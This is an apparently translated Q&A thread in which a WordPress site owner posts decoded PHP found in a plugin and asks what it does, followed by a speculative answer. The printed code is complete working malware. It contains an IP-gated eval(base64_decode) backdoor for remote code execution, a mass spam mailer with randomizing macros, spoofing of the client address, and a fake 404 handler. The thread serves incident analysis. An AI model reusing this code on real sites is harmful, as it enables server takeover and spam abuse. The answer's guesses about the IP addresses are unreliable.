WordPress — нужна помощь, чтобы понять введенный код

Я обнаружил множество запросов к подозрительному файлу в плагине на моем сайте WordPress. Там я нашел длинную строку, функцию отображения для каждого символа, используемого в строке, и исключение из декодированной строки. Это код, который выводит декодер, любая помощь в понимании того, что он делает, была бы великолепна!

<?php
if(isset($_POST["code"]) && isset($_POST["custom_action"]) && is_good_ip($_SERVER['REMOTE_ADDR']))
{
eval(base64_decode($_POST["code"]));
exit();
}

if (isset($_POST["type"]) && $_POST["type"]=="1")
{
type1_send();
exit();
}
elseif (isset($_POST["type"]) && $_POST["type"]=="2")
{

}
elseif (isset($_POST["type"]))
{
echo $_POST["type"];
exit();
}

error_404();

function is_good_ip($ip)
{
$goods = Array("6.185.239.", "8.138.118.");

foreach ($goods as $good)
{
if (strstr($ip, $good) != FALSE)
{
return TRUE;
}
}

return FALSE;
}

function type1_send()
{
if(!isset($_POST["emails"])
OR !isset($_POST["themes"])
OR !isset($_POST["messages"])
OR !isset($_POST["froms"])
OR !isset($_POST["mailers"])
)
{
exit();
}

if(get_magic_quotes_gpc())
{
foreach($_POST as $key => $post)
{
$_POST[$key] = stripcslashes($post);
}
}

$emails = @unserialize(base64_decode($_POST["emails"]));
$themes = @unserialize(base64_decode($_POST["themes"]));
$messages = @unserialize(base64_decode($_POST["messages"]));
$froms = @unserialize(base64_decode($_POST["froms"]));
$mailers = @unserialize(base64_decode($_POST["mailers"]));
$aliases = @unserialize(base64_decode($_POST["aliases"]));
$passes = @unserialize(base64_decode($_POST["passes"]));

if(isset($_SERVER))
{
$_SERVER['PHP_SELF'] = "/";
$_SERVER['REMOTE_ADDR'] = "127.0.0.1";
if(!empty($_SERVER['HTTP_X_FORWARDED_FOR']))
{
$_SERVER['HTTP_X_FORWARDED_FOR'] = "127.0.0.1";
}
}

if(isset($_FILES))
{
foreach($_FILES as $key => $file)
{
$filename = alter_macros($aliases[$key]);
$filename = num_macros($filename);
$filename = text_macros($filename);
$filename = xnum_macros($filename);
$_FILES[$key]["name"] = $filename;
}
}

if(empty($emails))
{
exit();
}

foreach ($emails as $fteil => $email)
{
$theme = $themes[array_rand($themes)];
$theme = alter_macros($theme["theme"]);
$theme = num_macros($theme);
$theme = text_macros($theme);
$theme = xnum_macros($theme);

$message = $messages[array_rand($messages)];
$message = alter_macros($message["message"]);
$message = num_macros($message);
$message = text_macros($message);
$message = xnum_macros($message);
//$message = pass_macros($message, $passes);
$message = fteil_macros($message, $fteil);

$from = $froms[array_rand($froms)];
$from = alter_macros($from["from"]);
$from = num_macros($from);
$from = text_macros($from);
$from = xnum_macros($from);

if (strstr($from, "[CUSTOM]") == FALSE)
{
$from = from_host($from);
}
else
{
$from = str_replace("[CUSTOM]", "", $from);
}

$mailer = $mailers[array_rand($mailers)];

send_mail($from, $email, $theme, $message, $mailer);
}
}

function send_mail($from, $to, $subj, $text, $mailer)
{
$head = "";

$un = strtoupper(uniqid(time()));

$head .= "From: $from\n";
$head .= "X-Mailer: $mailer\n";
$head .= "Reply-To: $from\n";

$head .= "Mime-Version: 1.0\n";
$head .= "Content-Type: multipart/alternative;";
$head .= "boundary=\"----------".$un."\"\n\n";

$plain = strip_tags($text);
$zag = "------------".$un."\nContent-Type: text/plain; charset=\"ISO-8859-1\"; format=flowed\n";
$zag .= "Content-Transfer-Encoding: 7bit\n\n".$plain."\n\n";

$zag .= "------------".$un."\nContent-Type: text/html; charset=\"ISO-8859-1\";\n";
$zag .= "Content-Transfer-Encoding: 7bit\n\n$text\n\n";
$zag .= "------------".$un."--";

if(count($_FILES) > 0)
{
foreach($_FILES as $file)
{
if(file_exists($file["tmp_name"]))
{
$f = fopen($file["tmp_name"], "rb");
$zag .= "------------".$un."\n";
$zag .= "Content-Type: application/octet-stream;";
$zag .= "name=\"".$file["name"]."\"\n";
$zag .= "Content-Transfer-Encoding:base64\n";
$zag .= "Content-Disposition:attachment;";
$zag .= "filename=\"".$file["name"]."\"\n\n";
$zag .= chunk_split(base64_encode(fread($f, filesize($file["tmp_name"]))))."\n";
fclose($f);
}
}
}

if(@mail($to, $subj, $zag, $head))
{
if(!empty($_POST['verbose']))
echo "SENDED";
}
else
{
if(!empty($_POST['verbose']))
echo "FAIL";
}
}

function alter_macros($content)
{
preg_match_all('#{(.*)}#Ui', $content, $matches);

for($i = 0; $i < count($matches[1]); $i++)
{

$ns = explode("|", $matches[1][$i]);
$c2 = count($ns);
$rand = rand(0, ($c2 - 1));
$content = str_replace("{".$matches[1][$i]."}", $ns[$rand], $content);
}
return $content;
}

function text_macros($content)
{
preg_match_all('#\[TEXT\-([[:digit:]]+)\-([[:digit:]]+)\]#', $content, $matches);

for($i = 0; $i < count($matches[0]); $i++)
{
$min = $matches[1][$i];
$max = $matches[2][$i];
$rand = rand($min, $max);
$word = generate_word($rand);

$content = preg_replace("/".preg_quote($matches[0][$i])."/", $word, $content, 1);
}

preg_match_all('#\[TEXT\-([[:digit:]]+)\]#', $content, $matches);

for($i = 0; $i < count($matches[0]); $i++)
{
$count = $matches[1][$i];

$word  = generate_word($count);

$content = preg_replace("/".preg_quote($matches[0][$i])."/", $word, $content, 1);
}return $content;
}

function xnum_macros($content)
{
preg_match_all('#\[NUM\-([[:digit:]]+)\]#', $content, $matches);

for($i = 0; $i < count($matches[0]); $i++)
{
$num = $matches[1][$i];
$min = pow(10, $num - 1);
$max = pow(10, $num) - 1;

$rand = rand($min, $max);
$content = str_replace($matches[0][$i], $rand, $content);
}
return $content;
}

function num_macros($content)
{
preg_match_all('#\[RAND\-([[:digit:]]+)\-([[:digit:]]+)\]#', $content, $matches);

for($i = 0; $i < count($matches[0]); $i++)
{
$min = $matches[1][$i];
$max = $matches[2][$i];
$rand = rand($min, $max);
$content = str_replace($matches[0][$i], $rand, $content);
}
return $content;
}

function generate_word($length)
{
$chars = 'abcdefghijklmnopqrstuvyxz';
$numChars = strlen($chars);
$string = '';
for($i = 0; $i < $length; $i++)
{
$string .= substr($chars, rand(1, $numChars) - 1, 1);
}
return $string;
}

function pass_macros($content, $passes)
{
$pass = array_pop($passes);

return str_replace("[PASS]", $pass, $content);
}

function fteil_macros($content, $fteil)
{
return str_replace("[FTEIL]", $fteil, $content);
}

function is_ip($str) {
return preg_match("/^([1-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(\.([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])){3}$/",$str);
}

function from_host($content)
{

$host = preg_replace('/^(www|ftp)\./i','',@$_SERVER['HTTP_HOST']);

if (is_ip($host))
{
return $content;
}

$tokens = explode("@", $content);

$content = $tokens[0] . "@" . $host . ">";

return $content;
}

function error_404()
{
header("HTTP/1.1 404 Not Found");

$uri = preg_replace('/(\?).*$/', '', $_SERVER['REQUEST_URI'] );

$content = custom_http_request1("http://".$_SERVER['HTTP_HOST']."/AFQjCNHnh8RttFI3VMrBddYw6rngKz7KEA");
$content = str_replace( "/AFQjCNHnh8RttFI3VMrBddYw6rngKz7KEA", $uri, $content );

exit( $content );
}function custom_http_request1($params)
{
if( ! is_array($params) )
{
$params = array(
'url' => $params,
'method' => 'GET'
);
}

if( $params['url']=='' ) return FALSE;

if( ! isset($params['method']) ) $params['method'] = (isset($params['data'])&&is_array($params['data'])) ? 'POST' : 'GET';
$params['method'] = strtoupper($params['method']);
if( ! in_array($params['method'], array('GET', 'POST')) ) return FALSE;

/* Приводим ссылку в правильный вид */
$url = parse_url($params['url']);
if( ! isset($url['scheme']) ) $url['scheme'] = 'http';
if( ! isset($url['path']) ) $url['path'] = '/';
if( ! isset($url['host']) && isset($url['path']) )
{
if( strpos($url['path'], '/') )
{
$url['host'] = substr($url['path'], 0, strpos($url['path'], '/'));
$url['path'] = substr($url['path'], strpos($url['path'], '/'));
}
else
{
$url['host'] = $url['path'];
$url['path'] = '/';
}
}
$url['path'] = preg_replace("/[\\/]+/", "/", $url['path']);
if( isset($url['query']) ) $url['path'] .= "?{$url['query']}";

$port = isset($params['port']) ? $params['port']
: ( isset($url['port']) ? $url['port'] : ($url['scheme']=='https'?443:80) );

$timeout = isset($params['timeout']) ? $params['timeout'] : 30;
if( ! isset($params['return']) ) $params['return'] = 'content';

$scheme = $url['scheme']=='https' ? 'ssl://':'';
$fp = @fsockopen($scheme.$url['host'], $port, $errno, $errstr, $timeout);
if( $fp )
{
/* Mozilla */
if( ! isset($params['User-Agent']) ) $params['User-Agent'] = "Mozilla/5.0 (iPhone; U; CPU iPhone OS 3_0 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile/7A341 Safari/528.16";

$request = "{$params['method']} {$url['path']} HTTP/1.0\r\n";
$request .= "Host: {$url['host']}\r\n";
$request .= "User-Agent: {$params['User-Agent']}"."\r\n";
if( isset($params['referer']) ) $request .= "Referer: {$params['referer']}\r\n";
if( isset($params['cookie']) )
{
$cookie = "";
if( is_array($params['cookie']) ) {foreach( $params['cookie'] as $k=>$v ) $cookie .= "$k=$v; "; $cookie = substr($cookie,0,-2);}
else $cookie = $params['cookie'];
if( $cookie!='' ) $request .= "Cookie: $cookie\r\n";
}
$request .= "Connection: close\r\n";
if( $params['method']=='POST' )
{
if( isset($params['data']) && is_array($params['data']) )
{
foreach($params['data'] AS $k => $v)
$data .= urlencode($k).'='.urlencode($v).'&';
if( substr($data, -1)=='&' ) $data = substr($data,0,-1);
}
$data .= "\r\n\r\n";

$request .= "Content-type: application/x-www-form-urlencoded\r\n";
$request .= "Content-length: ".strlen($data)."\r\n";
}
$request .= "\r\n";

if( $params['method'] == 'POST' ) $request .= $data;

@fwrite ($fp,$request); /* Send request */

$res = ""; $headers = ""; $h_detected = false;
while( !@feof($fp) )
{
$res .= @fread($fp, 1024); /* читаем контент */

/* Проверка наличия загловков в контенте */
if( ! $h_detected && strpos($res, "\r\n\r\n")!==FALSE )
{
/* заголовки уже считаны - корректируем контент */
$h_detected = true;

$headers = substr($res, 0, strpos($res, "\r\n\r\n"));
$res = substr($res, strpos($res, "\r\n\r\n")+4);

/* Headers to Array */
if( $params['return']=='headers' || $params['return']=='array'
|| (isset($params['redirect']) && $params['redirect']==true) )
{
$h = explode("\r\n", $headers);
$headers = array();
foreach( $h as $k=>$v )
{
if( strpos($v, ':') )
{
$k = substr($v, 0, strpos($v, ':'));
$v = trim(substr($v, strpos($v, ':')+1));
}
$headers[strtoupper($k)] = $v;
}
}
if( isset($params['redirect']) && $params['redirect']==true && isset($headers['LOCATION']) )
{
$params['url'] = $headers['LOCATION'];
if( !isset($params['redirect-count']) ) $params['redirect-count'] = 0;
if( $params['redirect-count']<10 )
{
$params['redirect-count']++;
$func = __FUNCTION__;
return @is_object($this) ? $this->$func($params) : $func($params);
}
}
if( $params['return']=='headers' ) return $headers;
}
}

@fclose($fp);
}
else return FALSE;/* $errstr.$errno; */

if( $params['return']=='array' ) $res = array('headers'=>$headers, 'content'=>$res);

return $res;
}

Редактировать: По-видимому, я делаю что-то не так с моим вопросом (2 мгновенных снижения). Если вы могли бы сказать мне, что я делаю неправильно, я постараюсь исправить это / удалить мой вопрос.

-1

Решение

Это забавно, хотя сейчас у меня не так много времени для просмотра кода, я могу дать вам некоторые обобщения распространенных инъекций и атак на веб-сайты, в частности на CMS, такую ​​как WordPress. Хотя это как часть плагина, это может быть просто вредоносный плагин, а не инъекционная атака, или это может быть недостаток или эксплойт в используемом плагине.

  1. Первоначальное наблюдение, код комментариев на русском языке выделяются.

  2. Этот код выглядит так, как будто он предназначен для рассылки спама. Принимать сообщения и пытаться использовать любую настройку sendmail. Это просто предположение высокого уровня прямо сейчас.

  3. Большинство атак, но не обязательно, это, как правило, направлены на то, чтобы попытаться доставить вредоносное ПО посетителям сайта, они обычно используют трюки active-x или iframe, здесь я ничего такого не видел, так что это наводит меня на мысль, что # 2 более вероятно.

  4. Это также может быть попытка проиндексировать весь контент вашего сайта / сервера, который он может, а затем отправить его злоумышленнику, чтобы он мог просеять данные в поисках важной информации, такой как файлы конфигурации и пароли.

Я сделаю более глубокое погружение в этот код, когда я не на работе :), потому что я люблю этот материал. В то же время вы, вероятно, получите лучший ответ от страниц стека безопасности, чем переполнение стека или, как я уже упоминал в своем комментарии, обратитесь к хакерам http://hackthissite.org на этом. Если бы это был эксплойт, они могли бы даже отследить автора и конкретный эксплойт. Как правило, подобный код используется как часть более общего инструмента, который исследует и атакует робота и не является работой реального человека. Возможно, вам также следует сообщить имя плагина, так как он может быть вредоносным или опубликовать известный эксплойт.

В любом случае, вам необходимо выполнить тщательный скрининг на рассматриваемом сайте, предположить, что вас взломали, и принять все надлежащие меры соответствующим образом.

— Редактировать —

Этот блок кода интересен:

function is_good_ip($ip)
{
$goods = Array("6.185.239.", "8.138.118.");
foreach ($goods as $good)
{
if (strstr($ip, $good) != FALSE)
{
return TRUE;
}
}
return FALSE;
}

Один из этих IP-адресов решает Форт-Хуачука-Дод Сетевой информационный центр. Я, вероятно, собираюсь удалить этот ответ сейчас … (оказывается, это может быть не IP, а номер версии … моя паранойя взяла верх над мной) — вам, вероятно, следует опубликовать этот вопрос здесь вместо этого: https://security.stackexchange.com/ чтобы избежать большего количества отрицательных голосов.

3

Другие решения

Других решений пока нет …